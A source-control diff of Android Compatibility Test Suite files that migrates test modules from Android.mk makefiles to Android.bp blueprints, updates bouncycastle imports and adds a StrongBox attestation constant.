--- a/tests/netsecpolicy/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
deleted file mode 100644
index 34422f8..0000000
--- a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, \
-    ../usescleartexttraffic-shared/src)
-
-LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalse
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index a18f87a..672deb0 100644
--- a/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -17,12 +17,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.netsecpolicy.usescleartext.false.cts">
+          package="android.netsecpolicy.usescleartext_false.cts">
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-library android:name="org.apache.http.legacy"/>
 
     <application android:usesCleartextTraffic="false">
+        <uses-library android:name="org.apache.http.legacy"/>
     </application>
 </manifest>
diff --git a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
deleted file mode 100644
index efabeb2..0000000
--- a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, \
-    ../usescleartexttraffic-shared/src)
-
-LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrue
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index d4b7d5b..29a550b 100644
--- a/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -17,12 +17,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.netsecpolicy.usescleartext.true.cts">
+          package="android.netsecpolicy.usescleartext_true.cts">
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-library android:name="org.apache.http.legacy"/>
 
     <application android:usesCleartextTraffic="true">
+        <uses-library android:name="org.apache.http.legacy"/>
     </application>
 </manifest>
diff --git a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
deleted file mode 100644
index 9960bca..0000000
--- a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, \
-    ../usescleartexttraffic-shared/src)
-
-LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecified
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index 07731b9..d574488 100644
--- a/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -17,12 +17,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.netsecpolicy.usescleartext.unspecified.cts">
+          package="android.netsecpolicy.usescleartext_unspecified.cts">
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-library android:name="org.apache.http.legacy"/>
 
     <application>
+        <uses-library android:name="org.apache.http.legacy"/>
     </application>
 </manifest>
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index 8335340..9dcb3c0 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -33,7 +33,6 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 16
+#LOCAL_MIN_SDK_VERSION := 16
 
 include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/openglperf2/jni/Android.bp b/tests/openglperf2/jni/Android.bp
new file mode 100644
index 0000000..ad48757
--- /dev/null
+++ b/tests/openglperf2/jni/Android.bp
@@ -0,0 +1,58 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_library_shared {
+    name: "libctsopengl_jni",
+
+    cflags: [
+        // Needed in order to use fences for synchronization
+        "-DEGL_EGLEXT_PROTOTYPES",
+        "-funsigned-char",
+
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+
+    // Get all cpp files but not hidden files
+    srcs: ["**/*.cpp"],
+
+    shared_libs: [
+        "libEGL",
+        "libGLESv2",
+        "libandroid",
+        "liblog",
+    ],
+
+    sdk_version: "current",
+    stl: "c++_static",
+}
+
+cc_library_host_static {
+    name: "libctsopengl_test",
+
+    srcs: ["graphics/Matrix.cpp"],
+    export_include_dirs: ["graphics"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+
+    target: {
+        darwin: {
+            enabled: false,
+        },
+    },
+}
diff --git a/tests/openglperf2/jni/Android.mk b/tests/openglperf2/jni/Android.mk
deleted file mode 100644
index 283bc18..0000000
--- a/tests/openglperf2/jni/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsopengl_jni
-
-# Needed in order to use fences for synchronization
-LOCAL_CFLAGS += -DEGL_EGLEXT_PROTOTYPES -funsigned-char
-
-LOCAL_CFLAGS += -Wall -Werror -Wno-unused-parameter
-
-# Get all cpp files but not hidden files
-LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libEGL libGLESv2 libandroid liblog
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/openglperf2/test/Android.bp b/tests/openglperf2/test/Android.bp
new file mode 100644
index 0000000..edddc6c
--- /dev/null
+++ b/tests/openglperf2/test/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_host {
+    name: "cts_device_opengl_test",
+    srcs: ["MatrixTest.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    static_libs: [
+        "libctsopengl_test",
+        "liblog",
+    ],
+    target: {
+        darwin: {
+            enabled: false,
+        },
+    },
+}
diff --git a/tests/openglperf2/test/Android.mk b/tests/openglperf2/test/Android.mk
deleted file mode 100644
index 0103e3f..0000000
--- a/tests/openglperf2/test/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-#
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
-LOCAL_SRC_FILES += ../jni/graphics/Matrix.cpp
-
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_C_INCLUDES += $(LOCAL_PATH)/../jni/graphics/
-LOCAL_STATIC_LIBRARIES := liblog
-LOCAL_LDFLAGS:= -g -lpthread
-LOCAL_MODULE_HOST_OS := linux
-LOCAL_MODULE:= cts_device_opengl_test
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/pdf/Android.bp b/tests/pdf/Android.bp
new file mode 100644
index 0000000..dc589ee
--- /dev/null
+++ b/tests/pdf/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPdfTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "androidx.annotation_annotation",
+        "junit",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
deleted file mode 100644
index 49efd03..0000000
--- a/tests/pdf/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    androidx.annotation_annotation \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsPdfTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/sample/Android.bp b/tests/sample/Android.bp
new file mode 100644
index 0000000..8f0c264
--- /dev/null
+++ b/tests/sample/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSampleDeviceTestCases",
+    defaults: ["cts_defaults"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
deleted file mode 100755
index 9d56850..0000000
--- a/tests/sample/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsSampleDeviceTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/security/Android.bp b/tests/security/Android.bp
new file mode 100644
index 0000000..78f4a56
--- /dev/null
+++ b/tests/security/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "cts-security-test-support-library",
+    static_libs: [
+        "bouncycastle-unbundled",
+        "bouncycastle-bcpkix-unbundled",
+        "guava",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/security/Android.mk b/tests/security/Android.mk
deleted file mode 100755
index aecc076..0000000
--- a/tests/security/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := bouncycastle bouncycastle-bcpkix guava
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE := cts-security-test-support-library
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 5e75fa7..9aa0092 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -18,16 +18,16 @@
 
 import com.google.common.collect.ImmutableSet;
 
-import com.android.org.bouncycastle.asn1.ASN1Boolean;
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Enumerated;
-import com.android.org.bouncycastle.asn1.ASN1InputStream;
-import com.android.org.bouncycastle.asn1.ASN1Integer;
-import com.android.org.bouncycastle.asn1.ASN1OctetString;
-import com.android.org.bouncycastle.asn1.ASN1Primitive;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
-import com.android.org.bouncycastle.asn1.ASN1Set;
-import com.android.org.bouncycastle.asn1.DEROctetString;
+import org.bouncycastle.asn1.ASN1Boolean;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Enumerated;
+import org.bouncycastle.asn1.ASN1InputStream;
+import org.bouncycastle.asn1.ASN1Integer;
+import org.bouncycastle.asn1.ASN1OctetString;
+import org.bouncycastle.asn1.ASN1Primitive;
+import org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Set;
+import org.bouncycastle.asn1.DEROctetString;
 
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 3070394..bdfe00a 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -19,7 +19,7 @@
 import com.google.common.base.CharMatcher;
 import com.google.common.io.BaseEncoding;
 
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Sequence;
 
 import java.security.cert.CertificateParsingException;
 import java.security.cert.X509Certificate;
@@ -41,6 +41,7 @@
 
     public static final int KM_SECURITY_LEVEL_SOFTWARE = 0;
     public static final int KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT = 1;
+    public static final int KM_SECURITY_LEVEL_STRONG_BOX = 2;
 
     private final int attestationVersion;
     private final int attestationSecurityLevel;
@@ -82,6 +83,8 @@
                 return "Software";
             case KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
                 return "TEE";
+            case KM_SECURITY_LEVEL_STRONG_BOX:
+                return "StrongBox";
             default:
                 return "Unkown";
         }
@@ -129,7 +132,7 @@
 
         s.append("\nChallenge");
         String stringChallenge = new String(attestationChallenge);
-        if (CharMatcher.ASCII.matchesAllOf(stringChallenge)) {
+        if (CharMatcher.ascii().matchesAllOf(stringChallenge)) {
             s.append(": [" + stringChallenge + "]");
         } else {
             s.append(" (base64): [" + BaseEncoding.base64().encode(attestationChallenge) + "]");
diff --git a/tests/security/src/android/keystore/cts/AttestationApplicationId.java b/tests/security/src/android/keystore/cts/AttestationApplicationId.java
index 42f8ea7..e228bac 100644
--- a/tests/security/src/android/keystore/cts/AttestationApplicationId.java
+++ b/tests/security/src/android/keystore/cts/AttestationApplicationId.java
@@ -14,9 +14,9 @@
 
 package android.keystore.cts;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
-import com.android.org.bouncycastle.asn1.ASN1Set;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Set;
 
 import java.security.cert.CertificateParsingException;
 import java.security.MessageDigest;
diff --git a/tests/security/src/android/keystore/cts/AttestationPackageInfo.java b/tests/security/src/android/keystore/cts/AttestationPackageInfo.java
index 3c3e2bd..b527c8e 100644
--- a/tests/security/src/android/keystore/cts/AttestationPackageInfo.java
+++ b/tests/security/src/android/keystore/cts/AttestationPackageInfo.java
@@ -14,8 +14,8 @@
 
 package android.keystore.cts;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Sequence;
 
 import java.security.cert.CertificateParsingException;
 
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index e6849f3..85ac115 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -27,12 +27,12 @@
 import android.security.keystore.KeyProperties;
 import android.util.Log;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Primitive;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
-import com.android.org.bouncycastle.asn1.ASN1SequenceParser;
-import com.android.org.bouncycastle.asn1.ASN1TaggedObject;
-import com.android.org.bouncycastle.asn1.ASN1InputStream;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Primitive;
+import org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1SequenceParser;
+import org.bouncycastle.asn1.ASN1TaggedObject;
+import org.bouncycastle.asn1.ASN1InputStream;
 
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
diff --git a/tests/security/src/android/keystore/cts/CertificateUtils.java b/tests/security/src/android/keystore/cts/CertificateUtils.java
index 68e936e..c32a9cb 100644
--- a/tests/security/src/android/keystore/cts/CertificateUtils.java
+++ b/tests/security/src/android/keystore/cts/CertificateUtils.java
@@ -16,11 +16,11 @@
 
 package android.keystore.cts;
 
-import com.android.org.bouncycastle.asn1.x500.X500Name;
-import com.android.org.bouncycastle.asn1.x509.SubjectPublicKeyInfo;
-import com.android.org.bouncycastle.cert.X509CertificateHolder;
-import com.android.org.bouncycastle.cert.X509v3CertificateBuilder;
-import com.android.org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.asn1.x509.SubjectPublicKeyInfo;
+import org.bouncycastle.cert.X509CertificateHolder;
+import org.bouncycastle.cert.X509v3CertificateBuilder;
+import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
 import java.io.ByteArrayInputStream;
 import java.math.BigInteger;
 import java.security.KeyPair;
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index b77b689..9957702 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -18,8 +18,8 @@
 
 import com.google.common.io.BaseEncoding;
 
-import com.android.org.bouncycastle.asn1.ASN1Encodable;
-import com.android.org.bouncycastle.asn1.ASN1Sequence;
+import org.bouncycastle.asn1.ASN1Encodable;
+import org.bouncycastle.asn1.ASN1Sequence;
 
 import java.security.cert.CertificateParsingException;
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
old mode 100755
new mode 100644
index 63cda8b..35d48df
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -25,7 +25,6 @@
 import android.os.Build;
 
 import com.android.compatibility.common.util.PropertyUtil;
-import com.android.compatibility.common.util.CddTest;
 
 /**
  * Checks if Hifi sensors  or VR High performance mode sensors
@@ -60,34 +59,29 @@
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsAccelerometer() {
         checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
-    public void testSupportsAccelerometerUncalibrated() { 
+    public void testSupportsAccelerometerUncalibrated() {
+        // Uncalibrated accelerometer was not required before Android O
         if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
             checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscope() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscopeUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGeoMagneticField() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsMagneticFieldUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
     }
diff --git a/tests/signature/Android.bp b/tests/signature/Android.bp
new file mode 100644
index 0000000..5cadd88
--- /dev/null
+++ b/tests/signature/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Compat.
+java_library_host {
+    name: "signature-hostside",
+    visibility: [
+        "//cts/tests/signature/tests",
+    ],
+    static_libs: ["signature-common-javalib"],
+}
